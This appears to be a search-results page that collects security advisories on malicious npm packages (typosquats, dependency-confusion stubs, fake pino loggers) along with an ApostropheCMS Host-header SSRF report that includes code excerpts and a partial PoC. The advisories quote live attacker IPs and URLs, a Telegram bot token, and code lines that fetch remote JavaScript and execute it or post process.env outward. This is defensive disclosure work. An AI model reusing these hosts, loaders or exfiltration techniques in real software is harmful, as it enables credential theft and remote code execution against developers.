Search: module.exports

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a46347c152553bd008255683dd927e5f25233224d3c6f1df6ae87533350b5815) The package advertises itself as MapLibre GL bindings for Vue 3 and re-exports the upstream maplibre-gl API, but on import it unconditionally injects a <script> tag into document.head pointing at http://121.199.166.250:19527/myApi/pipesnetwork.js. src/index.ts calls loadGuardScript() at module top level; src/license.ts defines GUARD_SCRIPT_URL and appends the script element to document.head. Any Vue 3 application that imports this package will fetch and execute attacker-controlled JavaScript from a hardcoded bare-IP, plaintext-HTTP endpoint in the consumer's browser context — giving the operator of that endpoint full access to cookies, localStorage, session tokens, and user input in the host application. The endpoint is unpinned (no SRI, no version), served over HTTP (mutable in transit), and unrelated to mapping functionality. A source comment ('改这里：发布给第三方前换成你托管的 guard 脚本地址' — 'change this before releasing to third parties: replace with your hosted guard script address') indicates the loader is intended to deliver third-party-controlled code to downstream consumers. The package name also shadows the maplibre-gl ecosystem (legitimate Vue bindings are published as vue-maplibre-gl), increasing the chance of accidental installation.

The npm package 'loadutils' is a malicious typosquat of the legitimate 'loader-utils' package. It misrepresents its functionality by documenting the loader-utils API but instead exports unrelated logging code that executes a suspicious module upon import. The package also includes undeclared and unrelated dependencies, and impersonates a known maintainer to deceive users. Version 1.0.4 is affected. No known exploits are reported in the wild.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ca65bb450fc2f4d4596fbcc2ddd81af358c2d02f94d965b18e532d8afa62ef5f) The package presents itself as a CSS selector parser (src/selector-parser.js re-exports postcss-selector-parser; keywords postcss/selector/parser/css), but its main module also exposes run / runDefaultDecodedFunction / finalFinalDecodeAndRun. src/config/defaults.js ships an ~10KB opaque AES-GCM ciphertext (DEFAULT_FINAL_ENCODED_TEXT) alongside a hardcoded passphrase ("default-dev-passphrase"); src/aes/aes-gcm.js uses base64 Buffer decoding and scrypt to derive the key, decrypts the blob, and src/pipeline/custom-codec-pipeline.js invokes the plaintext as code through new Function("require", runnable)(require), granting the smuggled bytes full Node require/process capabilities. The package's own runtime/lib.min.js calls require("../src").run(), and package.json scripts (start, decode, test:cjs) plus a root cjs-runner.js funnel into the same decrypt-and-execute path. None of this is documented in the README, which describes only selector parsing and encode/decode helpers. A consumer who installs the package and runs the advertised npm start / decode scripts, or who imports and calls run(), executes the hidden payload. The combination of an opaque encrypted executable shipped in the tarball, a hardcoded key that makes the ciphertext functionally equivalent to shipping the code while evading source review, and an undocumented entry point that invokes it with full Node capabilities is a backdoor pattern. The postcss-selector-parser API mimicry increases the chance of the hidden run() path being reached.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7d4464320c8530d582d35f85ce95045182d82e1dd63a830644bcb68f05bdf10e) Package rebrandly-domains-search-client@9999.0.0 is an empty module (index.js exports an empty object) whose package.json preinstall hook runs `node callback.js`. That script collects installer-side identifiers — os.hostname(), os.userInfo().username, process.cwd(), npm_config_registry, and CI repository env vars including GITHUB_REPOSITORY, CI_PROJECT_PATH, and BUILD_REPOSITORY_NAME — and transmits them via plain-HTTP GET to http://75.119.137.232:31337/depconfuse with the package name, hostname, user, cwd, configured registry, and CI repo as query parameters. The name targets the Rebrandly namespace and the version 9999.0.0 is chosen to outrank any private internal package of the same name during npm resolution. The package has no functional code; its sole on-install effect is the reconnaissance beacon used to identify networks where an internal name resolves, enabling targeted dependency-confusion follow-up. ## Source: ghsa-malware (6e75c8eb2d3a4cddc86e386eff1e2a6616e6e7d4a082b5185651b9d8c2fccfbf) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f565a21645ed6a288a820dea60e648589a5cca95a91b2c90720f3d2bcadca73b) Package is published as `ts-einkle-slot` but its tarball contents (source, README, LICENCE, package.json author/repository/description) are copied verbatim from Michael Mclaughlin's legitimate `big.js` package, presenting a spoofed publisher identity. The CommonJS and ESM entrypoints (`big.js` and `big.mjs`, referenced from `main`/`module`/`exports`) contain an injected top-level block: `try { const doc = require('node-slot'); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {}`. This causes the transitive dependency `node-slot` (pulled in via the declared `ts-einkle` dependency) to be loaded and its `from_str()` invoked the moment any consumer `require`s or `import`s this package, with errors silently swallowed so the host package keeps functioning as a drop-in big.js replacement. The package's advertised purpose is decimal arithmetic; there is no legitimate reason to load an unrelated `node-slot` runtime module on import. Installer harm is delivered by the attacker-controlled transitive `node-slot`, which is pulled into the install tree solely by virtue of installing this package. ## Source: ghsa-malware (9c0d1cd76e98be8f9edf4cd5efd216e927574836f0e026a532f1edbe1a370e88) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d5ade836e7f92049242a01dbc0782900900c4e28eb7e08f9d9ebc611aab80762) nodepathbalance54 exports a single function (`nodeaxionweb`) whose implementation is hidden inside a hand-rolled stack-based JavaScript VM in index.js (functions iL/iw with ~200 opcodes, base64-encoded bytecode chunks in array S). Decoding the VM's constant pool reveals a hardcoded Telegram bot token (8604230339:AAE0jcxBc1QC_YV1Um6TT4bvC0mgZGlhoy4), chat id (-1002861294159), the base URL https://api.telegram.org/bot, and a message template prefixed `Private Key: ` followed by getLocalIP / getPublicIP / os.hostname / platform / arch / ISO timestamp fields, posted via axios.post to /sendMessage. Any caller that invokes the exported API with a wallet private key (the package depends on `ethers@5.4` and is named/described in the wallet-tooling family) silently relays that key plus host fingerprinting data to the attacker's Telegram channel. The custom-VM obfuscation has no legitimate engineering purpose in a 100KB utility module and is paired with a numeric-suffix squat cluster (nodepathbalance45/54) where this package also pulls in nodepathbalance45 as a dependency. ## Source: ghsa-malware (cdc355f0a37fdea9334e29b85d8ee4fa970dfc51471cd95d9ebaa5d1f7e7e9ee) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8e5dabbc9cf746e153391fbe76f4dc54f9bccb9f7fd467d5b80d07c84ab1fb58) vite-config-field@1.1.0 impersonates the legitimate vite-plugin-pwa package (README copies its banner/badges, funding field points at antfu's GitHub Sponsors, and the package re-exports VitePWA alongside the attacker-introduced configFields helper). The ESM entry dist/index.js exposes a configFields(userOpt) function which, when called from a Vite config (as the README instructs), detached-spawns `node dist/client/dev/reactopt.js` with stdio ignored and unref'd to hide the child from the developer. dist/client/dev/reactopt.js (lines 21-23) fetches https://www.jsonkeeper.com/b/DDC6J with header `x-secret-key: _`, reads the response's `data.Cookie` field, and executes it via `new Function.constructor('require', params); handler(require)` — granting the attacker arbitrary Node code execution with require injected, on any developer or build machine that imports the package and invokes configFields(). The CJS entry dist/index.cjs intentionally omits this payload, so reviewers inspecting `main` see clean code while modern ESM toolchains that resolve via `module`/`import` get the dropper. The fetched payload host (jsonkeeper.com) is a mutable public paste-bin-like service, so the executed code can change at any time. ## Source: ghsa-malware (9f3a3a13cccda063a98a0048217c3db7c09659ba943668736368cfff187ad4b4) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0dec07d83d6427eb2c76e0ab74e5f31f424e769c187e6d48df0de3575df2e176) motion-lib@2.3.5 masquerades as a pino-style logger (exports module.exports.pino, ships proto.js/multistream.js/transport.js/redaction.js/levels.js, advertises 'fast','logger','stream','json' keywords) but its middleware factory in index.js spawns a detached `node lib/initializeCaller.js`. That script shadows `process` with a local object whose `env.DEV_API_KEY` holds a base64-encoded string that decodes to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df, then POSTs the host's full real `process.env` to that endpoint with header `x-secret-header: secret` (`axios.post(apiEndpoint, {...process.env },...)`). The HTTP response body is then executed via `new Function('require', response.data); executor(require);`, giving the remote endpoint arbitrary code execution with full Node capabilities (filesystem, network, child_process) on the installer's machine. The combination of full-environment exfiltration (AWS_*, GITHUB_TOKEN, NPM_TOKEN, CI secrets, DB creds), eval-of-remote-response RCE, base64 obfuscation of the C2 URL, and impersonation of a popular logger package is an unambiguous supply-chain attack. ## Source: ghsa-malware (42d1c97ca524f366ce6123786b4b68ebd3796c9d221d59009641effddc0e02de) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4287ff6637bb0d3109dcdc3082aece79d69deca2a3580ebf850ec1c13e8a3e00) chain-chai-test@1.3.5 advertises itself as a pino-style logger (keywords fast/logger/stream/json, exported alias module.exports.pino = middleware, pino-pretty visual assets) but the exported middleware factory spawns a detached `node lib/caller.js` process. caller.js performs `axios.get` against https://jsonkeeper.com/b/EXSIF (with a base64-obfuscated sibling URL https://jsonkeeper.com/b/ZK45J in lib/const.js, decoded from `aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1pLNDVK`), reads `.data.cookie` from the response, and passes that string to `new Function.constructor("require", s)` invoked with the host process's `require`. That executes attacker-controlled JavaScript with full Node.js privileges in the consuming application. The fetch destination is an anonymous, mutable JSON-paste host, the URL is duplicated in obfuscated form to conceal the C2 endpoint, and the package name and exported API impersonate the legitimate pino logger to lure installers. Unrelated dependencies (request, sqlite3, parse-json) further indicate this is not a logger implementation. ## Source: ghsa-malware (763b4853da8c66a8801a7e33d815b99195a72b2343cc4d70a54b9eaa44108e90) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a4ca306052ea5224831743daec9d3944fadff8cb4a7211e980be7669a739d00d) ltidiconf@99.9.1 is an empty wrapper package (index.js is `module.exports = {};`, empty author/description, inflated 99.9.1 version) whose sole effect on install is to pull a single dependency declared as a direct tarball URL: `"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.0.8.tgz"`. The bytes at that GCS bucket are mutable, unpinned, and not integrity-hashed; the bucket owner can swap the tarball at any time, and whatever code is in it executes at `npm install` time and on `require`. The wrapper has no functional content of its own, the bucket path literally contains the string `depenconf`, and the 99.9.1 version is the canonical shape of a dependency-confusion squat designed to shadow an internal package name and drop arbitrary attacker-controlled code into the installer's environment. ## Source: ghsa-malware (b949b5a457e726a907fa5e6b27ac585521202e3138218191b3bfe2945ecb39ff) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (82f07d72efb0234c99f1db77fa557334d2cf010cd0a7020e470d6e72518c0a5d) The OpenSSF Package Analysis project identified 'ltidiconf' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1aa63407d7400b4819d0739dedad0a32d9ae29b18509693c2e8763cf30275271) class-synth is advertised as a small class/style/date utility library, but its main entry (dist/index.js) contains a hidden top-level async IIFE (`__init`) that fires whenever the package is required or imported. The IIFE dynamically imports `node:fs`, `node:path`, `node:child_process`, `node:crypto`, and `node:https` using base64-encoded module names joined at runtime to evade string scanners, and acquires `process` indirectly via `new Function('return typeof process!== "undefined"? process: null;')`. It then recursively walks `process.cwd()` looking for any `.css` file containing an `@sri-hash:` marker, base64-decodes that marker, and AES-256-CBC-decrypts it with a hardcoded key (split across an array of hex chunks `['a7b80b01','7e76fb52','fa527621','f76027d2','19014dfc','a59b49ae','3db97ff3','ab4a72fa']`) to recover an attacker-controlled URL. The decrypted URL is fetched over HTTPS and the response body is piped directly into `child_process.spawn('node', ['-'], {windowsHide: true, stdio: ['pipe','ignore','ignore'], detached: true})`, so attacker-supplied JavaScript executes in the developer/CI Node process with no on-disk artifact, suppressed stdio, and a detached/unref'd child. The bundle is padded with ~750 decoy near-duplicate exports (isWithinBoundary1..200, applyPreset1..150, createSequenceStep1..250, mapOperation1..250, checkConstraint1..250) to bury the dropper near the end of the file. The C2 URL is delivered out-of-band via a planted.css file, which defeats URL-based scanning of the package itself. The combination of base64-hidden Node built-ins, split/encrypted C2 location, indirect process access, detached stdin-piped code execution, and large-scale decoy padding leaves no plausible benign reading. ## Source: ghsa-malware (a96165b209ffb2f4e6ad68ae6bcf380d9c70900d080adafcce9110d4ff5c9b71) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1b0701ad772209918c78eb4d038cce43946517f3558cbec1988c121c115a641d) node-denv presents itself as a pino-compatible logging middleware (index.js exports `module.exports.pino = middleware` and mimics pino's option shape including DEFAULT_LEVELS, formatters.bindings, redact, and customLevels). When a consumer instantiates the middleware, the package spawns a detached `node lib/caller.js` child process. lib/caller.js performs an HTTPS GET against https://jsonkeeper.com/b/EXSIF, reads the `.cookie` field from the JSON response, and passes it to `new Function.constructor("require", s)` invoked with the real `require` — granting the remotely-fetched JavaScript full Node.js capabilities (filesystem, network, child_process, env). The fetch is retried up to 5 times. A second jsonkeeper.com payload URL (https://jsonkeeper.com/b/ZK45J) is base64-encoded as `DEV_API_KEY` in lib/const.js as a fallback C2. jsonkeeper.com is an anonymous mutable JSON paste host — the attacker can change the executed payload at any time without republishing the package. The pino impersonation lures developers searching for the popular logger into installing this package, at which point any normal use triggers remote code execution on the installer's machine. ## Source: ghsa-malware (39fd50e1c53ebcbf807d385f8a99cca3d059175cf50b3819571029c812e719fb) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

### Summary When `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO feature for serving uploaded files at clean URLs), the public pretty-URL handler builds the upstream URL using the raw `Host` HTTP request header: ```js proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}` ``` That URL is then `fetch`'ed and the response body + headers are streamed straight back to the requester. Because `Host` is fully attacker-controlled, an **unauthenticated remote** attacker can pivot the apostrophe process to issue outbound HTTP requests against any host it can reach on the private network. The path component is constrained to `/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup), which keeps the impact narrow: cross-instance data exfiltration is neutralised by cuid uniqueness, but blind-SSRF residuals remain (network-topology mapping via response-code / timing differences and verbose proxy/WAF 404 body disclosure). Verified on `apostrophe@4.30.0` (latest); no fixed release exists. - **Affected:** `apostrophe <= 4.30.0` when `@apostrophecms/file` is configured with `prettyUrls: true` and uploadfs is **local** (the default; S3/CDN deployments produce an absolute `uglyUrl` and are not affected). ### Details `modules/@apostrophecms/file/index.js` (excerpt; the public GET route registered when `prettyUrls: true`): ```js if (!self.options.prettyUrls) return; return { get: { async [`${self.options.prettyUrlDir}/*`](req, res) { const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/); if (!matches) return res.status(400).send('invalid'); const [ , slug ] = matches; if (slug.includes('..') || slug.includes('/')) { return res.status(403).send('forbidden'); } const file = await self.find(req, { slug: `${self.options.slugPrefix}${slug}` }).toObject(); if (!file) return res.status(404).send('not found'); const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false }); const proxyUrl = uglyUrl.startsWith('/') ? `${req.protocol}://${req.get('host')}${uglyUrl}` // <-- sink : uglyUrl; return await streamProxy(req, proxyUrl, { error: self.apos.util.error }); } } }; ``` `lib/stream-proxy.js` (excerpt): ```js module.exports = async function(req, url, { error }) { const res = req.res; if (url.startsWith('/')) url = `${req.baseUrl}${url}`; let response; try { response = await fetch(url); } // <-- attacker-steered fetch catch (e) { return send502(e); } for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) { const v = response.headers.get(header); if (v != null) res.header(header, v); } res.status(response.status); response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... })); }; ``` `req.get('host')` returns the unvalidated `Host` HTTP header from the request. Express does not validate or restrict it, and apostrophe does not check the constructed `proxyUrl` against an allowlist. The upstream's body and content-type are forwarded verbatim — so any response the targeted host does return at the constrained path will reach the attacker. In practice the path constraint (`/uploads/attachments/<cuid>-<slug>.<ext>`) and cuid uniqueness mean meaningful body exfiltration only occurs against verbose-404 / banner- leaky proxies; against most internal services this degenerates to blind SSRF (response-code + timing side channels). Prerequisites are minimal: `prettyUrls: true` (a documented production SEO option) + at least one file uploaded with a known slug. Slugs are publicly enumerable in normal CMS use (file URLs appear in page content). **Distinct from the only published apostrophe SSRF advisory, GHSA-pr28-mf3q-qpg6** ("Authenticated SSRF in rich-text widget import via @apostrophecms/area validate-widget"), which is authenticated and lives in a completely different module/route. This finding is unauthenticated, in `@apostrophecms/file`, via the `Host` header. ### PoC Three services on an isolated Docker network: `mongo`, `internal` (returns a fake secret, **never exposed to the host**), `apos:3000` (the only port the host can reach). The host attacker proves it cannot reach `internal` directly, then exfiltrates `internal`'s response via one crafted request to `apos`. `app.js` (normal apostrophe site, documented option only): ```js require('apostrophe')({ shortName: 'apos-ssrf-poc', autoBuild: false, modules: { '@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } }, '@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } }, '@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } }, '@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } }, 'poc-seed': {} // seeds one file doc on boot (= what an admin does

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8695ea17273c804f1a58e6c0b877de280f7472622065964245deb85cc62dae20) The package declares a postinstall lifecycle hook (postinstall.js) that runs automatically on `npm install`. The script shells out via curl to the EC2 IMDSv2 metadata endpoint to obtain IAM role credentials, exports them, then iterates AWS Secrets Manager across multiple regions calling `aws secretsmanager list-secrets` and `get-secret-value`, and additionally dumps any process environment variable matching `FLAG|HTB|SECRET|AWS_`. The captured blob is chunked and HTTP PUT to a hardcoded bare-IP destination (http://154.57.164.71:30782) framed as a fake 'manifest' JSON. Execution is gated by an `isAppWorker()` check (hostname matches a 12-hex Docker-style ID and cwd contains `/app/node_modules`), which narrows the victim profile to containerized CI/build workers but does not change the nature of the attack. Additional behavior includes scanning /app for HackTheBox flag patterns (`/HTB\{[^}]+\}/`) and reading /app/src/main.rs, /app/main.rs, /app/flag.txt. This is unambiguous install-time credential theft plus remote exfiltration: any installer whose container matches the gate has IAM role credentials, secrets, and environment-variable secrets sent to attacker-controlled infrastructure. ## Source: ghsa-malware (d0ca45bd5ff9251df7ade64227231b9db2164ed9c61735808e83cb5626c3505a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5fbe1098e3267cf9e98fe2591e27b58f87fb44ca8c5475a5fde64fed8c2dd1c3) chai-dec impersonates the chai/pino ecosystem (package name rides on chai; package.json keywords and exports — `module.exports.pino = middleware` — masquerade as the pino logger). When the exported middleware factory is invoked (the standard Express-style usage), index.js spawns a detached Node child running lib/initializeCaller.js. That script POSTs the entire process.env object to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df via `axios.post(apiEndpoint, {...process.env }, { headers: { 'x-secret-header': 'secret' } })`, leaking every environment variable on the consumer's machine (AWS/GitHub/npm tokens, DB credentials, CI secrets, etc.). The destination URL is hidden behind a base64 blob in a locally-shadowed `process.env.DEV_API_KEY` and decoded with `atob` at runtime to evade static review. The HTTP response body is then passed to `new Function('require', response.data)` and invoked with the real `require`, giving the operator of the endpoint arbitrary remote code execution in the consumer process with full Node privileges. This is a typosquat lure carrying a credential-harvest + dynamic-RCE payload. ## Source: ghsa-malware (774328aa0da2fb1ffbd51817372f53e68a4406793a78122f549e5a34f12fead7) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cadcdda902675162dd9cfabd9d8133986723d4c956437633f36a5a07b776ef59) firefly-utilities-helper@99.9.1 ships an empty stub (index.js: `module.exports = {};`) with no description, author, or repository, but declares a single dependency `ltidisafe` as a direct tarball URL: `https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.0.6.tgz`. The bucket is on Google Cloud Storage, unrelated to any documented publisher, and the bucket/path naming (`ltidi`/`depenconf`) is consistent with a dependency-confusion staging area. URL-tarball dependencies bypass the npm registry's visibility, signature, and tooling — `npm install` will fetch the.tgz directly and execute any preinstall/install/postinstall lifecycle scripts it ships, with no hash pin, no signature, and no registry review. The wrapper contributes no functionality; its only effect on install is to smuggle the off-registry tarball into the installer's dependency tree. The high version number (99.9.1) and absent metadata are also consistent with a dependency-confusion lure intended to outrank an internal package of the same name. ## Source: ghsa-malware (618392bced7b75db7d804281a68124e3827f13da40512505dfadb7984878d722) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (783cf770777fff7cfffc2abec6cebd37f9e11f9e219c95e9879dda1222f9177c) The OpenSSF Package Analysis project identified 'firefly-utilities-helper' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (751317dcad79cec866b8dc69cd60b39e3be8e1bcc45746039835b04ce32445b0) package.json declares its only dependency `ltidisafe` as a direct HTTPS tarball URL (`https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.0.2.tgz`) hosted on a generic Google Cloud Storage bucket rather than resolved from the npm registry. On `npm install mazemap`, npm fetches and installs that arbitrary tarball, executing any lifecycle scripts (preinstall/install/postinstall) it contains — the tarball is bucket-owner-mutable and not subject to registry vetting. The package itself is a hollow lure: `index.js` is a 35-byte `module.exports = {};`, with no description, no author, ISC default license, and version `99.9.1` — a recognized dependency-confusion technique for overriding an internal package of the same name via a higher public version. The bucket path segment is literally `depenconf`. The combination of hollow main, inflated version, anonymous GCS-hosted dependency, and name collision with a real product (MazeMap) is a dependency-confusion / smuggling shape whose only on-install effect is to pull and execute attacker-controlled code from a non-registry source. ## Source: ghsa-malware (b2544226891e60a2b6f33b0aacf3e4669fe4ce13220f01bd40a84c8657fe0518) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (bf143361939feffe7099c14acc7cf41a401681481e932e15d6054dde49e88f94) localization-lib@99.9.1 is an empty shell package: `index.js` is `module.exports = {}` and `package.json` has no description or author. Its `dependencies` declares `"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.0.1.tgz"`, resolving a transitive dependency directly from a third-party Google Cloud Storage bucket rather than the npm registry. On `npm install`, npm fetches and installs that opaque tarball and executes any lifecycle hooks it declares on the installer's machine. The version `99.9.1` is the canonical outranking-version pattern used in dependency-confusion attacks to override a legitimate internally-named package, and the URL path literally contains the token `depenconf`. The package has no functional purpose other than smuggling this off-registry dependency into the installer's environment. ## Source: ghsa-malware (401dface4dee0f5b93603c52d947b3e856983c806dca6453edc9efef6afa482b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9314c597c5023f198b20ebe47d09cf929d8e252e27f60928a3ab73dbe77de8cd) page-info-service@99.9.1 ships an empty stub (`index.js` is `module.exports = {}`) with placeholder author/description metadata and an unusually high 99.9.1 version designed to win semver resolution against an internal package name. Its sole effect is a `dependencies` entry that pulls `ltidisafe` from an external HTTPS tarball at `https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.9.3.tgz` — not from the npm registry. On `npm install`, npm fetches and installs that tarball and runs whatever lifecycle scripts and code it contains. The tarball is hosted on a third-party Google Cloud Storage bucket under a path (`depenconf/`) that explicitly suggests dependency-confusion tooling; its contents are mutable by the bucket owner, there is no integrity hash, no version pinning to a trusted registry, and no relation to any stated package purpose. This matches the canonical dependency-confusion off-registry-dropper pattern. ## Source: ghsa-malware (d4629b915cdacf2c06a56d5bb43476aef698d2e2a827d15eeb303154454b105b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (d4a2106922e9e3851658667cacaa2c2818cdb56cd0c4df6778c0cb7fbed2338e) The OpenSSF Package Analysis project identified 'page-info-service' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c7d0f2e829316d0c6a04bc41fb4d187569c00c3273384b1666d3068a0e696291) po-ops-local-dev@99.9.1 has no functional code of its own (index.js contains only `module.exports = {};` and there are no lifecycle scripts). Its sole effect on install is to pull `ltidisafe` directly from `https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.9.2.tgz` — a Google Cloud Storage bucket, not the npm registry. The package name `po-ops-local-dev` combined with the `depenconf` path segment in the tarball URL is consistent with a dependency-confusion staging or research artifact. On `npm install`, npm fetches that tarball and runs any lifecycle scripts it contains; the contents at that GCS URL are mutable and outside npm's integrity verification. The actual installer impact depends entirely on what bytes the GCS bucket serves, which were not inspected here. ## Source: ghsa-malware (ba8f8a6c18a06f6085b7f3eafb109928924f4be3dee0eba5a7d23725f055fe92) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (ed7a024c524e1a4bc29e2670d7dc00e5aa4c6891650c3c6bf38a2f388f4a3cb9) The OpenSSF Package Analysis project identified 'po-ops-local-dev' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.